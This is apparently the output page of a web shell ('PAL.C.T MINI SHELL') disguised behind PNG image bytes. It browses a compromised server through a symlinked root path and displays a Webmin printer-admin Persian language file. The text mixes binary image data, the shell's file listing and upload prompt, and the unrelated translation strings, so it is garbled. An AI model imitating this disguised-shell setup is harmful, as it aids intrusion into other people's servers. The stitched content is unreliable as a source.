php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/fa.auto

index_title=مدیریت چاپگر
index_header=چاپگرهای موجود
index_name=چاپگر
index_desc=شرح
index_to=چاپ به
index_driver=راننده
index_enabled=فعال شده است؟
index_accepting=پذیرش؟
index_jobs=شغل ها
index_none=هیچ چاپگری روی این سیستم نصب نشده است.
index_list=لیست ..
index_jlist=شغل ها ..
index_jcount=$1 شغل ..
index_add=چاپگر جدید اضافه کنید.
index_stop=زمانبند را متوقف کنید
index_stopmsg=برای متوقف کردن روند برنامه ریزی چاپ در حال اجرا ، روی این دکمه کلیک کنید. این مانع از چاپ هر کاربر محلی یا از راه دور روی سیستم شما می شود.
index_start=زمانبندی را شروع کنید
index_startmsg=برای شروع فرآیند زمانبندی چاپ ، روی این دکمه کلیک کنید. این کار به کاربران محلی و از راه دور امکان چاپ روی سیستم شما را می دهد.
index_restart=زمانبند را مجدداً راه اندازی کنید
index_restartmsg=برای راه اندازی مجدد فرآیند برنامه ریزی چاپ ، روی این دکمه کلیک کنید. با این کار پیکربندی چاپ فعلی مجبور به اعمال می شود.
index_return=لیست چاپگر
index_esystem=نرم افزار سیستم چاپ مورد نظر خود را نصب کنید یا از تنظیمات ماژول <a href='$1'></a> برای تغییر آن استفاده کنید.
index_style=سیستم چاپ:$1
index_cluster=سرورهای خوشه ای
index_clusterdesc=با کلیک بر روی این دکمه برای تنظیم سرورهای Webmin اضافی که بر روی آنها چاپگر ایجاد شده ، به روز شده و حذف خواهد شد.
index_delete=چاپگرهای منتخب را حذف کنید

style_solaris=سولاریس
style_linux=لینوکس LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=فنجان ها
style_irix=IRIX
style_aix=AIX

edit_eedit=شما مجاز به ویرایش این چاپگر نیستید
edit_eadd=شما مجاز به چاپگر نیستید
edit_add=چاپگر ایجاد کنید
edit_edit=چاپگر را ویرایش کنید
edit_conf=پیکربندی چاپگر
edit_name=نام
edit_acc=قبول درخواست ها؟
edit_why=نه - چرا نه
edit_desc=شرح
edit_ena=چاپ فعال شد؟
edit_acl=کنترل دسترسی
edit_allow=به همه اجازه دهید
edit_deny=همه را انکار کنید
edit_allowu=مجاز به کاربران لیست شده ..
edit_denyu=کاربران ذکر شده را رد کنید ..
edit_banner=چاپ بنر؟
edit_opt=اختیاری
edit_default=چاپگر پیش فرض؟
edit_already=چاپگر پیش فرض قبلاً
edit_max=اندازه کار چاپ حداکثر
edit_unlimited=نامحدود
edit_dacc=راننده قبول می کند
edit_dtext=متن
edit_dpost=ارسال نامه
edit_dother=دیگر
edit_alt=نام های چاپگر جایگزین
edit_dest=مقصد را چاپ کنید
edit_dev=دستگاه محلی
edit_file=پرونده محلی
edit_remote=سرور یونیکس از راه دور
edit_rqueue=چاپگر
edit_type=تایپ کنید
edit_smb=سرور ویندوز از راه دور
edit_share=چاپگر
edit_user=کاربر
edit_pass=کلمه عبور
edit_wgroup=کارگروه
edit_hpnp=سرور HPNP از راه دور
edit_port=بندر
edit_direct=اتصال مستقیم TCP
edit_dport=بندر
edit_driver=درایور چاپگر
edit_check=بررسی کنید سرور از راه دور فعال است؟

blocks=بلوک

save_err=ذخیره چاپگر انجام نشد
save_eadd=شما مجاز به چاپگر نیستید
save_eedit=شما مجاز به ویرایش این چاپگر نیستید
save_ename="$1" نام چاپگر معتبری نیست
save_edup=چاپگری به نام "$1" از قبل موجود است
save_eallow=هیچ کاربری مجاز نیست وارد شود
save_edeny=هیچ کاربری برای انکار وارد نشده است
save_euser=کاربر "$1" وجود ندارد
save_etype=شما باید حداقل یک نوع را انتخاب کنید تا این راننده بپذیرد
save_emax=حداکثر اندازه کار چاپ باید عدد صحیحی باشد
save_efile="$1" وجود ندارد
save_erhost=میزبان از راه دور "$1" وجود ندارد
save_erport=پورت از راه دور "$1" معتبر نیست
save_erqueue="$1" یک نام از راه دور معتبر نیست
save_eremote=رانندگان را نمی توان با چاپگرهای از راه دور یونیکس استفاده کرد
save_edhost=میزبان مستقیم "$1" وجود ندارد
save_edport=پورت مستقیم وجود ندارد یا نامعتبر است
save_evalid=سیستم چاپ اجازه چاپگر را نداد
save_errslave=چاپگر در این سیستم OK ایجاد کرد ، اما خطاهای زیر روی سیستم های خوشه ای رخ داده است :$1
save_egone=هیچ چاپگری به نام "$1" یافت نشد
save_errdelslave=چاپگر در این سیستم OK را حذف کرد ، اما خطاهای زیر روی سیستم های خوشه ای رخ داده است :$1

jobs_title=چاپ مشاغل
jobs_header=کارها را با$1 چاپ کنید
jobs_id=شناسه کار
jobs_size=اندازه
jobs_by=ارسال شده توسط
jobs_when=ارسال شده در
jobs_file=نام فایل
jobs_cancel=برای لغو ، روی شناسه کار از لیست بالا کلیک کنید.
jobs_cancelview=برای لغو بر روی شناسه کار کلیک کنید ، یا برای مشاهده آن روی اندازه کار کلیک کنید.
jobs_none=چاپگر$1 هیچ کار معلق ندارد.
jobs_all=همه کارهای چاپ را لغو کنید
jobs_bytes=بایت
jobs_test=چاپ صفحه تست
jobs_cancelsel=مشاغل منتخب را لغو کنید
jobs_on=در چاپگر$1
jobs_return=لیست کارهای چاپ

cancel_ecannot=شما مجاز به لغو کارهای چاپی نیستید
cancel_err=کار چاپی لغو نشد
cancel_egone=کار چاپ$1 دیگر وجود ندارد

view_ecannot=شما نمی توانید این کار چاپ را مشاهده کنید
view_egone=این کار چاپ دیگر وجود ندارد

start_ecannot=شما مجاز به شروع برنامه ریزی نیستید
start_err=زمانبندی شروع نشد

stop_ecannot=شما مجاز به متوقف کردن برنامه زمانبندی نیستید
stop_err=زمانبندی متوقف نشد

restart_ecannot=شما مجاز به شروع مجدد برنامه زمانبندی نیستید
restart_err=برنامه زمان بندی مجدد انجام نشد

webmin_none=هیچ یک
webmin_nonemsg=چاپگر متن یا چاپگر متن
webmin_remotemsg=چاپگر از راه دور
webmin_model=مدل
webmin_prog=برنامه
webmin_driver=درایور وبمین
webmin_uniprint=درایور Uniprint
webmin_edrivers=نتوانست از$1 رانندگان را بدست آورد. درایورهای چاپگر وبمین که از Ghostscript استفاده می کنند در دسترس نیستند
webmin_egs=دستور$1 یافت نشد. درایورهای چاپگر وبمین که از Ghostscript استفاده می کنند در دسترس نیستند
webmin_edriver="$1" وجود ندارد

caldera_none=هیچ یک
caldera_nonemsg=چاپگر از راه دور یا خام
caldera_prog=برنامه
caldera_coas=راننده COAS
caldera_printer=چاپگر و وضوح
caldera_eof=ارسال EOF؟
caldera_paper=اندازه کاغذ
caldera_double=چاپ دو طرفه؟
caldera_gsopts=گزینه های اضافی GS
caldera_uniprint=درایور Uniprint
caldera_eprog="$1" وجود ندارد
caldera_edriver=هیچ درایور چاپگر انتخاب نشده است
caldera_eres=هیچ رزولوشن انتخاب نشده است

redhat_none=هیچ یک
redhat_nonemsg=چاپگر متن یا چاپگر متن
redhat_prog=برنامه
redhat_driver=راننده ردات
redhat_printer=چاپگر و وضوح
redhat_eof=ارسال EOF؟
redhat_paper=اندازه کاغذ
redhat_pages=صفحات در هر صفحه خروجی
redhat_gsopts=گزینه های اضافی GS
redhat_hmargin=حاشیه راست/چپ
redhat_vmargin=حاشیه بالا/پایین
redhat_crlf=متن پله پله را برطرف کنید؟
redhat_eprog="$1" وجود ندارد
redhat_edriver=هیچ درایور چاپگر انتخاب نشده است
redhat_ehmargin=حاشیه سمت راست/چپ وجود ندارد یا نامعتبر است
redhat_evmargin=حاشیه بالا/پایین موجود نیست یا نامعتبر است
redhat_eres=هیچ رزولوشن انتخاب نشده است
redhat_printer2=مدل چاپگر و درایور

suse_none=هیچ یک
suse_nonemsg=چاپگر متن یا چاپگر متن
suse_prog=برنامه
suse_driver=درایور APSfilter
suse_printer=نوع چاپگر
suse_res=قطعنامه در DPI
suse_colour=چاپگر رنگی؟
suse_paper=اندازه کاغذ
suse_method=روش فیلتر
suse_auto=خودکار
suse_ascii=ASCII
suse_raw=خام
suse_extra=گزینه های اضافی Ghostscript
suse_yast2=درایور YAST2
suse_edriver=هیچ نوع چاپگری انتخاب نشده است
suse_eres=قطعنامه نامعتبر یا نامعتبر است

estop=متوقف نشد lpd :$1

acl_printers=چاپگرهای این کاربر می تواند پیکربندی کند
acl_add=آیا می توانید چاپگرهای جدیدی اضافه کنید؟
acl_cancel=آیا می توانید کارهای چاپی را لغو کنید؟
acl_stop=آیا می توان برنامه ریز را متوقف یا شروع کرد؟
acl_restart=فقط راه اندازی مجدد
acl_listed=فقط در چاپگرهای انتخاب شده ..
acl_pall=همه چاپگرها
acl_psel=انتخاب شد ..
acl_view=چاپگرهای غیر قابل تنظیم را نشان می دهید؟
acl_test=آیا می توانید صفحات آزمون چاپ کنید؟
acl_user=کارهای چاپی را که متعلق به آنهاست ، مدیریت کنید
acl_user_all=تمام کاربران
acl_user_this=کاربر فعلی وبمین
acl_delete=آیا می توان چاپگرها را حذف کرد؟
acl_cluster=آیا می توانید خوشه چاپگر را مدیریت کنید؟

log_stop=برنامه ریز چاپ متوقف شد
log_start=برنامه ريزي چاپ شروع شد
log_restart=برنامه ریزی چاپ مجدداً راه اندازی شد
log_cancel_job=کار چاپ$2 در$1 لغو شد
log_cancel_all=همه کارهای چاپ را در$1 لغو کرد
log_cancel_sel=$2 کار چاپ را در$1 لغو کرد
log_create=چاپگر$1 را با$2 ایجاد کرد
log_modify=چاپگر$1 در$2 اصلاح شد
log_delete=چاپگر$1 در$2 حذف شد
log_create_l=چاپگر$3 $1 را در$2 ایجاد کرد
log_modify_l=چاپگر$3 چاپ$1 در$2
log_delete_l=چاپگر$3 چاپ$1 در$2 حذف شد

linux_paralel=پورت موازی$1
linux_serial=پورت سریال$1 (COM$1)
linux_null=دستگاه تهی
linux_usb=چاپگر USB$1
linux_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ لینوکس نصب نشده است.
linux_espool=فهرست اسفنج$1 در سیستم شما وجود ندارد ، این نشان می دهد که سیستم چاپ لینوکس نصب نشده است.

freebsd_paralel=درگاه موازی
freebsd_serial=پورت سریال$1 (COM$1)
freebsd_ecmd=فرمان$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ FreeBSD نصب نشده است.
freebsd_espool=فهرست اسفنج$1 در سیستم شما وجود ندارد ، این نشان می دهد که سیستم چاپ FreeBSD نصب نشده است.

openbsd_paralel=درگاه موازی
openbsd_serial=پورت سریال$1 (COM$1)

unixware_paralel=پورت موازی$1
unixware_serial=پورت سریال$1
unixware_null=دستگاه تهی
unixware_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ UnixWare نصب نشده است.

hpux_paralel=موازی$1
hpux_serial=سریال$1
hpux_null=دستگاه تهی
hpux_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ HPUX نصب نشده است.
hpux_eiface=دایرکتوری اسکریپت $1 در سیستم شما وجود ندارد ، این نشان می دهد که سیستم چاپ HPUX نصب نشده است.

lprng_paralel=پورت موازی$1
lprng_serial=پورت سریال$1 (COM$1)
lprng_null=دستگاه تهی
lprng_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ LPRng نصب نشده است.
lprng_espool=دایرکتوری حلقه$1 در سیستم شما وجود ندارد ، این نشان می دهد که سیستم چاپ LPRng نصب نشده است.

solaris_paralel=درگاه موازی
solaris_uparalel=پورت موازی فوق العاده 5/10
solaris_serial=پورت سریال$1
solaris_null=دستگاه تهی
solaris_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ Solaris نصب نشده است.

test_title=چاپ صفحه تست
test_ecannot=شما مجاز به چاپ صفحات آزمون نیستید
test_desc=این فرم به شما امکان چاپ صفحه آزمایش برای چاپگر$1 را می دهد. نوع صفحه ای را که می خواهید چاپ کنید انتخاب کنید :
test_0=صفحه سیاه و سفید ارسال نامه
test_1=صفحه ارسال رنگی
test_2=متن ساده ASCII
test_3=هر پرونده بارگذاری شده
test_print=صفحه چاپ
test_exec=صفحه چاپ نسخه با دستور$1 ..
test_failed=.. فرمان انجام نشد!
test_ok=.. فرمان کامل است.

cups_none=هیچ یک
cups_nonemsg=چاپگر از راه دور یا خام
cups_prog=برنامه
cups_driver=درایور CUPS
cups_eprog='$1' یک برنامه معتبر نیست
cups_opts=گزینه های$1
cups_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ CUPS نصب نشده است.

irix_ecmd=دستور$1 در سیستم شما یافت نشد ، این نشان می دهد که سیستم چاپ IRIX نصب نشده است.
irix_eiface=دایرکتوری اسکریپت $1 در سیستم شما وجود ندارد ، این نشان می دهد که سیستم چاپ IRIX نصب نشده است.

aix_port=درگاه چاپگر$1
aix_edesc=توضیحات نامعتبر - فقط حروف و اعداد مجاز هستند ، و هیچ فضا وجود ندارد
aix_ecmd=سرور چاپگر AIX $1 یافت نشد. شاید نصب نشده باشد یا سیستم چاپ دیگری در حال استفاده باشد.

cluster_title=سرورهای چاپگر خوشه ای
cluster_none=هنوز هیچ سرور به خوشه چاپگر اضافه نشده است.
cluster_host=نام میزبان
cluster_desc=شرح
cluster_os=سیستم عامل
cluster_add=اضافه کردن سرور
cluster_gadd=سرورها را به صورت گروه اضافه کنید
cluster_need=قبل از اینکه در اینجا مدیریت شود باید سرورهایی را با ورود به سیستم و رمز عبور در ماژول Webmin Servers Index اضافه کنید.
cluster_return=سرورهای خوشه
cluster_delete=حذف انتخاب شده
cluster_ecannot=شما مجاز به مدیریت سرورهای چاپگر خوشه ای نیستید

add_title=اضافه کردن سرورها
add_msg=افزودن$1 ..
add_gmsg=افزودن سرورها به گروه$1 ..
add_err=اضافه کردن سرور انجام نشد
add_gerr=افزودن گروه انجام نشد
add_echeck=سرور$1 ماژول مدیریت چاپگر را ندارد
add_ediff=سرور$1 از این سیستم چاپی مختلف ($2) به این سرور استفاده می کند
add_ediff2=سرور$1 از درایور چاپ متفاوت ($2) برای این سرور استفاده می کند
add_ok=$1 با چاپگر$2 اضافه شد.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`